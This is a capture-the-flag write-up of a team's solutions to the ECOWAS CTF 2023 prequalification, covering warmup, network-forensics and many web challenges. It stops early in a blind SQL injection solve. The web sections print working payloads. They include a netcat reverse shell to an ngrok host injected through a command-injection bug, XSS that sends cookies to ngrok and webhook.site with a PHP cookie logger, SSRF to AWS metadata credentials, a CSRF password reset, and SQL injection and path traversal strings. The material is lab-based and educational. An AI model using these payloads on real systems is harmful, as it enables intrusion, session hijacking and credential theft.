Ecowas CTF 2023 ( Prequalification )
Ecowas CTF 2023 ( Prequalification )
Over about two weeks I and my team mates played as team @error
Here’s the solution to the challenges we solved:
Challenges Solved:
Warmup
- Netcat
- Grep
- Unix Master
- Strings
- Obada
Osint
- Ghost
Networking
- Cool Catche
- Molouze
- Mean People Seo
- The Secret Document
- Flavourable Tonkotsu Pork
- Tchakatou
Web
- Gweta
- Rue Princess
- Ezodédé
- Ezxss
- Chevrolet Traverse
- Boarding
- Ezredirect
- SoppazShoes
- Favicons R Us
- Xss101
- Dagbe
- Photovi
- Gnomi
- Incredibly Self-Referential
- Ayabavi
- Big Money
- Milouuu
- Fafame
- Maïmouna
Reverse Engineering
- Saint Rings
- Sesame
- Veyize
- Petstar
- DotNetBin
- Tometriii
- ReZerv3
Cryptography
- DecodeMe
- Hashes
- Read Me Please
- IZIrsa
- Ron Adi Leonard
- Sakpatè
- Kashe Kanka
- Goumin Fraca
- Dangbui
- NOTgate
- Spot Terrorist Secret Message
Forensics
- Fairytale
- Aledjo
- Etikonam
- Where is my Flash
- Assini
- Zangbeto
- A Peculiar Email
- Sentinnelle
- Yaa Asantewa
Warmup 5/5
Netcat
All we need to do for this challenge is to connect to the remote host using netcat ( per the challenge name :P )
On connecting to the host I got a prompt asking if we want the flag 
Cool we get the flag
1
Flag: flag{n3tc4t_d03s_n0t_g0_m30w}
Grep
After downloading the attached file, I just grepped for the flag since the file contains too much character 
1
Flag: flag{9r3p_1n5t34d_0f_r34d1n9}
Unix Master
Connecting to the remote instance shows the flag file 
When I tried reading the flag I got this error 
Checking the running process shows where the remote instance server file is: 
I checked the python script which was in the /opt directory and got this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
import subprocess
import os
def main():
os.chdir("/unix-master")
print("Use your knowledge to find the flag.")
flag = open("flag.txt", "r")
flag = flag.read()
flag_access = False
key_location = "/unix-master"
key_is_here = False
while True:
error = open("/opt/errors/error.txt", "w+")
if key_location == "/unix-master/lock":
flag_access = True
print(os.getcwd() + "$ ", end="")
command = input()
try:
if os.getcwd() == key_location:
key_is_here = True
if command[0:2] == "cd":
if len(command) > 3:
os.chdir(os.path.abspath(command[3:]))
elif command[0:2] == "mv" and "key" in command:
command = command.split(" ")
if os.path.abspath(command[1][:-3]) == key_location:
if command[2][:-3] == "":
command[2] = "." + command[2]
if (
os.path.isdir(command[2][:-3]) and command[2][-3:] == "key"
) or (
os.path.isdir(command[2].strip(" /")) and command[1] == "key"
):
key_location = os.path.abspath(command[2])
flag_access = True
print("Key moved to " + key_location + ".\n")
else:
print("Destination does not exist.\n")
else:
print("Source does not exist or cannot be accessed.\n")
else:
if command[0:2] == "ls":
command = "ls -F" + command[2:]
out = subprocess.check_output(command, stderr=error, shell=True).decode(
"ascii"
)
command = command.split(" ")
if command[0] == "ls":
if (len(command) == 2 and os.getcwd() == key_location) or (
len(command) > 2 and key_location == os.path.abspath(command[2])
):
out = out + "key*\n"
if flag in out:
if not flag_access:
out = out.replace(flag, "*Flag hidden. Gain access to read.*")
else:
print("\nWho are you? ")
if input() != "cool-user":
out = out.replace(
flag, "*Flag hidden. Gain access to read.*"
)
print(out)
if flag in out:
break
except:
error.seek(0)
print(error.read())
pass
key_is_here = False
error.close()
if __name__ == "__main__":
main()
"""
#!/usr/bin/env python3
import subprocess
import os
def main():
os.chdir('/unix-master')
print("Use your knowledge to find the flag.")
while(True):
error = open('/opt/errors/error.txt', 'w+')
print(os.getcwd() + '$ ', end='')
command = input().split(' ')
try:
if command[0] == 'cd' and len(command) > 1:
os.chdir(os.path.abspath(command[1]))
pass
out = subprocess.check_output(command, stderr=error, shell=True).decode('ascii')
print(out)
except:
error.seek(0)
print(error.read())
pass
error.close()
if __name__ == "__main__":
main()
"""
Due to trying to solve on time and not feeling to read the source code I assumed that since this just a 50pts task it shouldn’t be hard!!!
I tried an alternate way of reading the flag
And my solution involves using base32 binary to encode the flag then I’ll decode it on my host 
1
Flag: flag{kn0w_y0ur_un1x_c0mm4nd5}
Strings
After downloading the attached file I checked the file type 
So it’s a x64 binary …………
I won’t start explaining that
But from the challenge name it’s referring to the strings command
1
Flag: flag{th4t5_4_l0t_0f_5tr1ng5}
Obada
After downloading the attached file and checking the file type I got it’s a zip file 
I unzipped it and it extracted so many directories 
Hmmm what a pain! welp I just grepped my way out :stuck_out_tongue: 
1
Flag: flag{9r3p_s4v3s_y0u_t1m3}
Osint 1/1
Ghost
After downloading the file attached and checking the file type, I got that it’s a WAV file 
Listening to it was playing a cricket sound :thinking_face:
I opened it up in Sonic Visualiser and on viewing the spectogram I got this word 
1
Layer --> Add Spectogram
The word isn’t aligned well
To fix that we can maybe tilt your laptop but that isn’t going to be too understandable (obviously pain ikr) :smiling_imp:
So I used the zoom function to get this 
We see a cool guy with a laptop and also a word
Looking at the word well reads:
1
Feds We Need Some Time Apart
Searching that keyword on google shows this 
I got the date from the first link 
Below the blog shows the name of the Author 
1
Flag: EcoWasCTF{thedarktangent_07/2013}
Networking 6/6
Cool Catche
After downloading the attached file on checking the file type shows this 
So it’s a pcap file and not a zip archive file
I renamed it and opened it up in wireshark
We can see it contains just 24 packets 
Looking at the protocol hierarchy shows just TCP/Data 
1
Statistics --> Protocol Hierarchy
From the challenge description it’s obvious that we should just follow TCP Stream
1
Flag: flag{hello-hello-follow-me-okay}
Molouze
After downloading the attached file, checking the file type shows it’s a pcap file 
Opening in it wireshark shows it contains 16195 packet 
From the challenge description it’s asking us to find the password in the unsecured protocol used
Checking the protocol hierarchy shows telnet 
We know that telnet isn’t secured as the information passed when using telnet is being transferred as plaintext
So I selected that as filter and followed tcp stream
1
Flag: flag{i_am_the_prez_plaintext_is_enuff_4_me}
Mean People Seo
Downloading the file attached showed it’s a wireshark traffic file 
The challenge description says we need the password so let us open this file up in wireshark
They were lots of traffic there 
Checking the protocol hierarchy shows this 
There are some HTTP traffic so I filtered wireshark to show only the http traffic 
It was still quite much and if we are looking for a password then likely it’s a POST request :thinking_face:
1
http && http.request.method == POST
Cool there’s a post request to /login/login checking it showed the password 
And the flag is the password which is
1
Flag: 727@Nne6c0#n
The Secret Document
Downloading the attached file showed it’s a pcap file 
When I opened it in wireshark I got that it contains 487 packets 
To know the protocols here I did the usual :slightly_smiling_face: 
Interesting we have HTTP and FTP
I applied the ftp data as filter then followed the TCP stream 
Hmmm there’s a pdf file there
Then it also downloaded the pdf file according to the traffic from the pcap file 
Ok cool so since the file name is that of the challenge name we can assume that the flag is some how going to be there
I exported ftp data object (the pdf file btw) then saved the pdf file 
After downloading the file it shows that it is indeed a pdf file 
I opened it up in firefox and got the flag 
1
Flag: flag{what_happens_next_will_surprise_you}
Flavorful Tonkotsu Pork
After downloading the file and checking it’s file type I got that it’s a pcap file 
From the challenge name we can tell we’ll be dealing with “FTP”
Opening it up and wireshark and checking protocol hierarchy shows ftp packets 
I applied it as filter and followed TCP stream and got the flag 
Quick thing to note is that when I followed tcp stream it started from stream 1 which took my few minutes for me to figure I missed checking stream 0 which is where the flag is
1
Flag: flag{ichirakurox!!}
Tchakatou
We are given a packet file and a password list 
Opening the pcap file in wireshark shows this 
Quite a lot of packets!!!
Checking protocol hierarchy shows http traffic was intercepted 
I applied that as filter then on scrolling through the traffics I found this interesting 
It’s downloaded a pdf file
So I exported object http and downloaded the pdf file 
Trying to open the pdf file requires a password 
So since we’re given a password list it’s ideal to brute force it
And I achieved that using pdf2john and cracking with JTR 
Cool the pdf password is LETUZAMEM'
Using that to open the pdf file worked and I got the flag 
1
Flag EcoWasCTF{You_find_Me_yourAre_a_Netmaster}
Web 20/20
Gweta
Going over to the url shows this 
We can do things like set background image from remote url
But that isn’t important
Taking a look at the page source shows this 
We have users.js
1
2
3
4
5
document.cookie = "username=guest";
if(document.cookie == "username=premium"){
alert("PREMIUM: flag{" + ([]+{})[2] + (typeof null)[0] + (typeof NaN)[(typeof NaN).length - 1] + (typeof NaN[(typeof NaN).length - 1])[1] + ("" + (!+[]+[]+![]).length - 7) + ("" + (" " == 0)) +"}");
}
Basically it’s checking if the cookie name username equals premium
And before it does that check it sets our cookie to guest making the if
check returns false
There are two ways we can just solve this (at least I taught of this lol):
- Execute that javascript that will be ran if the check returns true
- Set our cookie name to
premium
If we just paste the javascript code on the console it should alert the flag value 
Or we can just set our cookie value to equal premium!! But it turned out that won’t work since each time I refresh the web page our cookie will be set to guest
So anyways I got the flag already
1
Flag: flag{born2true}
Rue princesse
From the challenge description we need to check the header
1
Flag: flag{who_run_the_world?_http_headers.}
Ezodédé
Going over to the url shows this 
Immediately from the ping function the web service provides we can tell this is going to be command injection
To confirm it I checked what files are in the current directory with this: 
1
;ls
Ok the flag is there too!! We can now concatenate it 
1
;cat flag.txt
And I got the flag
1
Flag: flag{tp_link_d_link_theyre_all_the_same}
EzXSS
The goal is to generate a malicious link to alert win
What we search for gets reflected back
1
<h1> Wanna be leet?? </h1>
We can now use the script tag to alert('win')
1
<script> alert('win') </script>
Doing that I got the flag
1
Flag: flag{we_can_call_this_xss_level_0}
Chevrolet Traverse
From the challenge description we can tell that we will be doing some directory transversal
Going over to the web page shows this 
It shows a car
Clicking the next button shows this 
Notice the way the url schema is, it’s getting the image from the current directory
Removing that image name leads to directory listing where we can see various images 
Moving one step backward shows a directory which looks sus 
The secrets directory looks interesting
Checking it shows that the flag is in there 
From here we can just get the flag 
Wait what no flag ??
Looking at the page source shows the flag is in it’s url encoded form (might be hard to spot idk) 
I url decoded it and got the flag 
1
Flag: flag{vr00m_vr00m_now_y0u_r_z00m1ng}
Boarding
After downloading the image it showed this 
From the image it looks like a flight ticket boarding pass and we can get this information from it:
1
2
3
Name: Elon
Last Name: Musk
Ticket code: NPYQBK
Back on the web page shows this 
There’s nothing interesting there except the /manage endpoint 
I provided the data we have (from the image downloaded) and submitted the form and on my network tab I got this

We can see it’s loading user_info.js script
And the script is located /static/js/{script} 
Viewing the file showed the flag 
1
Flag: flag{when_you_play_ctf_and_find_elons_number}
Ezdirect
The aim of this challenge is to build a url that redirects to https://example.com/
We are given the server python source code
Here’s the content
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
@app.route("/logout", methods=["GET", "POST"])
def logout():
session.clear()
return redirect("/")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"].strip()
errors = []
user = Users.query.filter_by(username=username).first()
if user:
pass_test = verify_password(plaintext=password, ciphertext=user.password)
if pass_test is False:
errors.append("Incorrect password")
else:
errors.append("User does not exist")
if errors:
return render_template("login.html", errors=errors)
session["id"] = user.id
if request.args.get("next"):
return redirect(request.args.get("next"))
else:
return redirect("/")
if request.args.get("next"):
if authed():
return redirect(request.args.get("next"))
return render_template("login.html")
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
try:
user = Users(username=username, password=password)
db.session.add(user)
db.session.commit()
except IntegrityError:
return render_template("register.html", errors=["That username is already taken"])
session["id"] = user.id
return redirect("/")
return render_template("register.html")
@app.route("/notes", methods=["GET", "POST"])
def notes():
if authed() is False:
return redirect(url_for("login", next=url_for("notes")))
user_id = session["id"]
if request.method == "POST":
text = request.form["text"]
note = Notes(text=text, owner_id=user_id)
db.session.add(note)
db.session.commit()
return redirect(url_for("notes"))
notes = Notes.query.filter_by(owner_id=user_id)
return render_template("notes.html", notes=notes)
@app.route("/")
def index():
return render_template("index.html")
We have 5 routes but I won’t go through them all (cause it’s useless lol)
The open redirect vulnerability occurs in this portion of the code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"].strip()
errors = []
user = Users.query.filter_by(username=username).first()
if user:
pass_test = verify_password(plaintext=password, ciphertext=user.password)
if pass_test is False:
errors.append("Incorrect password")
else:
errors.append("User does not exist")
if errors:
return render_template("login.html", errors=errors)
session["id"] = user.id
if request.args.get("next"):
return redirect(request.args.get("next"))
else:
return redirect("/")
if request.args.get("next"):
if authed():
return redirect(request.args.get("next"))
return render_template("login.html")
We can see that if the GET parameter ?next is in the /login route the web server will redirect to the url given
So the solution and the flag is this:
1
Flag: https://ctftogo-ezdirect.chals.io/login?next=https://example.com
SoppazShoes
We are given the source code the web server uses
Here’s the content
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
@app.before_request
def session_start():
if session.get("cart", None) is None:
session["cart"] = []
@app.route("/")
def index():
return redirect(url_for("shop"))
@app.route("/shop", defaults={"category": None})
@app.route("/shop/<category>")
def shop(category):
categories = (
Items.query.filter_by(hidden=False)
.with_entities(Items.category)
.distinct()
.all()
)
categories = [c[0] for c in categories]
items = Items.query.filter_by(category=category).all()
return render_template("shop.html", categories=categories, items=items)
@app.route("/search")
def search():
q = request.args.get("q", "")
if q:
items = Items.query.filter(Items.name.like(f"%{q}%")).all()
resp = []
for item in items:
resp.append(
{
"id": item.id,
"name": item.name,
}
)
else:
resp = []
return jsonify(resp)
@app.route("/items/<int:item_id>", methods=["GET", "POST"])
def item(item_id):
item = Items.query.filter_by(id=item_id).first_or_404()
return render_template("item.html", item=item)
@app.route("/cart", methods=["GET", "POST", "DELETE"])
def cart():
if request.method == "DELETE":
item_id = int(request.form["item_id"])
cart = session["cart"]
try:
cart.remove(item_id)
except ValueError:
return jsonify({"success": False})
session["cart"] = cart
return jsonify({"success": True})
if request.method == "POST":
item_id = int(request.form["item_id"])
cart = session["cart"]
if item_id not in cart:
cart.append(item_id)
session["cart"] = cart
items = Items.query.filter(Items.id.in_(cart)).all()
return render_template("cart.html", items=items)
cart = session["cart"]
items = Items.query.filter(Items.id.in_(cart)).all()
return render_template("cart.html", items=items)
@app.route("/checkout")
def checkout():
cart = session["cart"]
items = Items.query.filter(Items.id.in_(cart)).all()
return render_template("checkout.html", items=items)
To be honest I don’t quite understand the goal of this challenge when I first tried it
But I noticed that in the /items/ endpoint has various IDs
And the challenge description was referring to All-Star Flags
We can try manually getting what ID the shoe All-Star Flags is
But I noticed a function in the source code that lets us search value
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/search")
def search():
q = request.args.get("q", "")
if q:
items = Items.query.filter(Items.name.like(f"%{q}%")).all()
resp = []
for item in items:
resp.append(
{
"id": item.id,
"name": item.name,
}
)
else:
resp = []
return jsonify(resp)
So we can make us of this to search for All-Star Flags
Ok so the product is ID 40 and we can confirm it by accessing /items/40 
I added it to my cart and checkout 
1
Flag: flag{n0w_g3t_s0m3_r34l_y33zys}
Favicons R Us
We are given the source code
Here’s the content
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
image = request.files["image"]
size = request.form["size"]
with tempfile.NamedTemporaryFile() as temp1, tempfile.NamedTemporaryFile() as temp2:
temp1.write(image.read())
cmd = f"convert {temp1.name} -resize {size} {temp2.name}"
os.system(cmd)
temp2.seek(0)
image = b64encode(temp2.read()).decode("utf-8")
return render_template("index.html", image=image)
return render_template("index.html")
Basically it receives a file and resize it
And there’s a command injection vulnerability at this point
image = request.files["image"]
size = request.form["size"]
cmd = f"convert {temp1.name} -resize {size} {temp2.name}"
os.system(cmd)
Why command injection?
Well after the server receives our file it does some name conversion of the image name
But the size parameter doesn’t get changed so we have full control over that
And no form of sanitization is done when passing it to system
Making us able to inject our commands to be executed
But we don’t get any command output back so this is a blind command injection
To exploit this I set up ngrok so as to get a reverse shell
First let us upload a file (it doesn’t check file type so we can upload any file & we can just click that upload button it’s not like we need it)

I’ll be injecting my command in the size parameter
1
16x16$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 6.tcp.eu.ngrok.io 18433 >/tmp/f)
Back on my listener I got the shell :shell: 
Also the flag
1
Flag: flag{not_as_good_as_toysrus_though}
Xss101
No source this time :(
Going over to the web page shows this 
So let us start from Level 1
Searching for something gets reflected 
The aim for all levels here is to call alert('win')
So I used the <script> tag to achieve this 
1
Payload: <script>alert('win')</script>
Another input box field
I searched for something and got the result reflected 
When I tried injecting javascript tag I got this 
It doesn’t seem to render as tag so I looked at the page source and got this 
Our input is in the value field
And to escape it I’ll use a double quote and >
1
Payload: "><script>alert('win')</script>
I got to Level 3 and it showed this 
Same reflected content when we search anything 
But this time around we can’t use < because it html encodes it 
I’m not a XSS person so I searched up bypass and found a payload used on a portswigger lab challenge
Here’s the payload
1
Payload: " autofocus onfocus=alert('win') closeme="
In the next Level it just showed this 
This time it uses colour and our input will be in the <script> tag
Our input will also be html encoded
While looking for ways to solve this XSS challenge I came across a video that illustrated on how to bypass this but IDK where the link is again
But I saved the payload and here’s it
1
Payload: %23000000'-alert('win')-'
And the next redirect link gave the flag 
1
Flag: flag{congrats_you_now_have_a_degree_in_xss}
Dagbé
Going over to the url shows this 
From what is showing here we can tell we’ll be doing CSRF
We have three endpoints
1
2
3
- /send
- /login
- /flag
In order to view the flag we need to be authenticated
But we don’t actually have any credential so what do we do?
From the description in the /send endpoint
We know that when we provide a link the user which is likely already authenticated will access the provided link
At first I tried just accessing /flag 
It then downloaded a video
Ok it’s giving us the parameter needed to access the flag
Let us perform CSRF
This is the script I’ll be using:
1
2
3
4
5
6
7
8
9
<form action="https://ctftogo-ezrf.chals.io/flag" method="POST">
<input type="text" name="secret" value="this-means-im-admin">
<input id="btn" type="submit">
</form>
<script>
document.getElementById("btn").click();
</script>
Basically what it will do is just to access the /flag endpoint
And since the user will be already authenticated we and the parameter is set we will get the flag
I hosted that on a ngrok server and submitted the url to the /send endpoint

A video is downloaded and viewing it gives the flag 
1
Flag: flag{csrf_for_when_you_dont_have_xss}
Photovi
We are given the source code and it’s written in PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace SharePhoto;
function render($app, $request, $response, $template, $title, $args=[]) {
return $app->renderer->render($response, $template, array_merge([
'title' => $title
], $args));
}
/**
* Upload
*/
$app->post('/upload', function($request, $response, $args) {
$user = $request->getAttribute('user');
$files = $request->getUploadedFiles();
$params = $request->getParsedBody();
$err = false;
if(array_key_exists('file', $files)) {
$uploaded_file = $files['file'];
$uploaded_file->moveTo(sprintf('uploads/%s', Util::generateRandomString(16)));
}
return Util::redirect($response, $this->router->pathFor('index'));
})->setName('upload');
/**
* Show photo
*/
$app->get('/photo/{file_key}', function($request, $response, $args) {
$fh = fopen(sprintf('uploads/%s', $args['file_key']), 'r');
$stream = new \Slim\Http\Stream($fh);
return $response
->withBody($stream)
->withHeader('Content-Type', 'image/jpeg');
})->setName('file');
$app->get('/', function($request, $response, $args) {
$files = array_filter(scandir('uploads'), function($x) {
return is_file(sprintf('uploads/%s', $x));
});
return render(
$this, $request, $response,
'index.html', 'Browse', [
'files' => $files
]
);
})->setName('index');
Basically it has two user endpoints which are /upload and /photo
From the source of the /upload endpoint it allows arbitrary file upload and no form of check is done on the file being uploaded so we can potentially upload a .php file and just try execute it
Doing that throws back this error

The error is stating that the a function in a Class required for this upload to work isn’t there
So that’s a bummer
Let us continue viewing the source
The show photo function looks interesting
1
2
3
4
5
6
7
8
$app->get('/photo/{file_key}', function($request, $response, $args) {
$fh = fopen(sprintf('uploads/%s', $args['file_key']), 'r');
$stream = new \Slim\Http\Stream($fh);
return $response
->withBody($stream)
->withHeader('Content-Type', 'image/jpeg');
})->setName('file');
Basically when we access /photo/{file_name} it will then:
- Use
fopento open up the file from the uploads directory and save the file descriptor in variablefh - Then prints the response whose value contains the content returned when
fopenwas called
If you take a look at fopen php docs you will see this

Main thing we need there is this 
Basically they are saying we should be careful escape certain character like backslash on Windows based system
But why is that so important? :thinking_face:
Well we can perform a directory transversal if care is not done on our input
Now we have another vuln sweet!
So our input will be /photo/../../../../../../flag.txt which will then turn into /uploads/../../../../../../../flag.txt
Damn how would we even know it works?
Notice that they didn’t give index.php but photovi.php
So if we have the file read we can just confirm it works by reading index.php
What a bummer it doesn’t work!
Since this is a making a GET request it is ideal to url encode the value but if it was POST we can pass in value without urlencoding it in case you are wondering why that well I watched it on a box ippsec released few days ago
Url encoding the special characters worked just well and I got the flag 
1
Flag: flag{Th3_tr4v3rs4l_m4st3r}
Gnomi
Going over to the url shows this 
I don’t have any credential and the web server allows registration
We can create note and logout
Let us check the note creation function 
It can allow us use markdown format
And I got the web server is running python as it’s programming language 
First thing I tried was SSTI in the contact form 
On submitting that the payload got evaluated 
So we have SSTI
I just looked up a payload from PayloadAllTheThings
1
Payload:
From here I just checked what files are in the current directory

Cool the flag is there
1
Payload:
And I got the flag
1
Flag: flag{smaller_than_medium_with_twice_the_bugs}
Incredibly Self-Referential
This challenge wasn’t particularly hard but the slight hard thing there is to spot the response :slightly_smiling_face:
Let’s get to it :computer:
On key note we should always take is the challenge description
It clearly states that it is running on a EC2 Web Service which of cause I didn’t notice at first
Going over to the url shows this 
And again I didn’t read this title this service offers I went on trying to upload various sort of files but after like 10 mins or so I read it and saw ohhh it allows upload of file and likely gives the metadata of the file uploaded
Two things to notice is that we can upload file remotely or just by uploading the file
The web server is gunicorn and python based from what wappalyser says 
I tried to play with the remote file upload and got this

From the User-Agent header it is indeed a python based web language
And the version is interesting but when I searched it up for IDK maybe exploits or vuln I got nothing
I tried uploading a file and I got the image metadata (at least the web server “actually” does what it claims to do lool) 
We get the Exiftool version
But on searching again if there are any known vuln I got nothing :(
Back to the remote file upload
It is an obvious thing to try SSRF here
But the issue I had was I didn’t see any response which made me know if it worked or not
After a while of trying various things I tried the SSRF again but this time checked the page source
And boom we have the base64 encoded value of the result 
Ok now what?
Trying things like port fuzzing works but didn’t lead anywhere
So back to the challenge description we know that it is running in a AWS EC2 Instance
And on hacktricks, there’s a way to enumerate interesting files there via SSRF
And that’s what I’m going to do here
I made a script to automate the stress :slightly_smiling_face:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re
from base64 import b64decode
url = 'https://ctftogo-very-meta.chals.io/'
files={"file": "file"}
while True:
try:
inp = input('-$ ')
if inp.lower() != 'q':
data={"link": inp}
response = requests.post(url, files=files, data=data)
r = re.search('base64,([^"]*)', response.text).group(1)
decoded = b64decode(r).decode('utf-8')
print(decoded)
else:
exit()
except Exception as e:
print(e)
Now we can use the script to enumerate the EC2 Instance via SSRF
So let us get the meta data endpoint 
Ok we have an endpoint named latest
Nice meta-data looks interesting
Looking at the result I found this interesting 
And on viewing it I got the flag 
1
Endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/super-secret-admin-role
Here’s the flag
1
Flag: flag{thats_the_most_effective_tactic_available}
Ayabavi
Going over to the web url we can immediately tell it’s running wordpress cms
We can try do things like username enumeration , plugins enumeration etc.
And when I click it I figured it was a plugin 
I just took the quick guess that it’s an outdated version and searched for exploit and found this
When I ran it I figured it worked but no way of interacting with it
So I read the source code and had to modify it to a reverse shell 
On running it I got the reverse shell 
Next thing I did was to find the flag
Searching for common places didn’t give the flag
So I decided to check the wordpress config file
Cause it holds the credential needed to access mysql
1
Flag: flag{add_action(wordpress_plugins_strike_again!)}
Big Money
We are given a credential
1
bigspender95:winnerwinnerchickendinner
Going over to the url shows this 
I used the credential given to login 
It seems like a live chat application
Immediately the support user replies back
Well that worked
So at this point it’s obvious we need to perform XSS to steal the support user cookie
Here’s the payload I used
First index.php contained this
1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
I started an ngrok server then hosted the php script
Here’s the javascript payload
<script>new Image().src='http://4.tcp.eu.ngrok.io:15322/index.php?c='+document.cookie</script>
I submitted that in the chat application
And back on my web server I got the support user cookie 
To login as the user I just changed my current session cookie to that
But I figured that that cookie is still mine
Damn!! I switced to another payload
1
<img src=x onerror=this.src='https://webhook.site/ffc8b5af-72ff-40af-82a0-2aa305eead84/?'+document.cookie;>
On the webhook site I switch to, I got lots of request 
And eventually I found a cookie that isn’t the same as mine 
I replaced that with mine
1
document.cookie="session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZOynmw.oGpzuEW3SVgPjieWANzqQmPum94"
On refreshing the page I got the flag 
1
Flag: flag{the_ca$h_money_wa$_in$ide_you_the_whole_time}
Milouuu
Going over to the web url shows this 
Some cool cats pictures
Clicking on the Oopsie button shows this

Reading it shows:
1
I am leaking his database schema because he is hiding a terrible secret! Please, expose him!
From the look of it we can conclude that it seems to be the table and it’s content
And the flags table contain flag column
What we can kinda assume here is that there’s SQL Injection
To confirm it we have a search function too 
When I submit a single quote I got this error 
So let us check the column where our input will be reflected on the page 
1
' union select 1,2,3,4 from cats -- -
Cool now that we have that we can get the flag 
1
' union select 1,flag,3,4 from flags -- -
I got the flag
1
Flag: flag{c4t5_w4s_a_h0rr0r_m0v13}
Fafame
We have the option to register and login
So I will register since I don’t have any credentials
From that we can see we would be able to write any html tag but javascript is disabled
When I clicked create New note I got this 
Ok it actually allows any tag
But it isn’t executed
We can share the note to the admin 
I tried to inject script tag to alert ‘test’

But it didn’t work though the tag is there
The interesting thing to think is that why isn’t that javascript executing?
Well if you take a look at debug console you will see this 
There’s CSP which would prevent us from performing XSS
But actually the response gives the nonce 
So because we have that we can bypass the CSP
Looking around the web app shows this function 
We can reset our password
Now this is interesting because we know that we can share our note to the admin user and we have XSS
So this gives us an opportunity to escalate the XSS to CSRF
This is the request made when resetting a password

We can now leverage this to change the admin password
Here’s the exploit script
1
2
3
4
5
6
7
8
9
10
11
12
<script nonce=2726c7f26c>
const url = 'https://ctftogo-b6247a6b4d3c-markdown-1.chals.io/profile';
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'password=chained',
});
</script>
I created a note with that content 
We can now login with admin:chained 
And the flag is shown after login in
1
Flag: flag{look_at_me_im_the_admin_now}
Maïmouna
We are given a credential to login as:
1
mouse:dbjkfr894
Going over to the url shows this
A login page!! We can use the credential given to login
Nothing interesting since it just goes to /login and no flag is there
One thing we can try again here is SQL Injection on the login page
Doing that I bypassed the login authentication
Ok so presumely we should be logged in as admin since that query will log us as the first user
But the flag isn’t there??
But since we’ve confirmed SQL Injection it’s ideal we dump the database
Let’s start our injection!
I’ll use burp suite as I find it easier to deal with first
My injection will be in the username parameter of the request
Using the ORDER BY query I can get the number of columns
1
2
3
4
5
Payloads:
- a' order by 1 -- -
- a' order by 2 -- -
- a' order by 3 -- -
- a' order by 4 -- -
We can see that on the 4th column we get an error
This means there are 3 columns
Looking at the request again we see that we can’t use UNION injection to leak the database since the web application just redirects to /login and doesn’t give an error
Making the vulnerability a Blind SQL Injection which is a bit technical compared to UNION Injection.
Next I decided to test for a Time-based Injection
Basically we use time delays to determine where an injection returned a valid result or not
I inserted SLEEP query to check for time based sql injection
1
Payload: a' UNION SELECT NULL,NULL,NULL AND sleep(5) -- -
Since the web application took 5 seconds before it gave the response this means we’ve confirmed Time Based Injection
So by using the time delay we can leak the database content one character at a time.
How?????
If the query is valid the request will sleep for the amount of time specified and if the query is not valid the request will will return immediately.
Using a payload from PayloadAllTheThings, We can started leaking the contents from the database
The payload below will leak the database name the web application is using
1
(select sleep(10) from dual where database() like '%')
The query above will sleep for 10 seconds of the database is like %
The % in MySQL acts as a wildcard meaning if we read the query again is simply say, sleep 10 second is the database string is anything
This query should always sleep for 10 seconds because the statement is True
Now to build on our query we will starting brute forcing characters on the left of the wild card.
For Example:
1
a' AND (select sleep(10) from dual where database() like 'a%');-- -
This query will sleep for a period of 10 seconds if the database letter starts with a and any other characters in front *(remember % == wildcard)
If it’s true then we start brute forcing the second character
1
a' AND (select sleep(10) from dual where database() like 'ab%');-- -
This query will sleep for a period of 10 seconds if the database letter starts with a followed by b and any other characters in front
So we will loop through the entire alphabet and digits and special characters and when the request sleep by 10 seconds we’ll believe that the character we were brute forcing at the period of time is probably the correct character.
To make the process a little less tedious I created a python script that automates the process of brute forcing characters
Here’s what my solve script will do:
- Enumerate database name
- Get the mysql name
- Enumerate table
Here’s my solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import string
import requests
import time
import sys
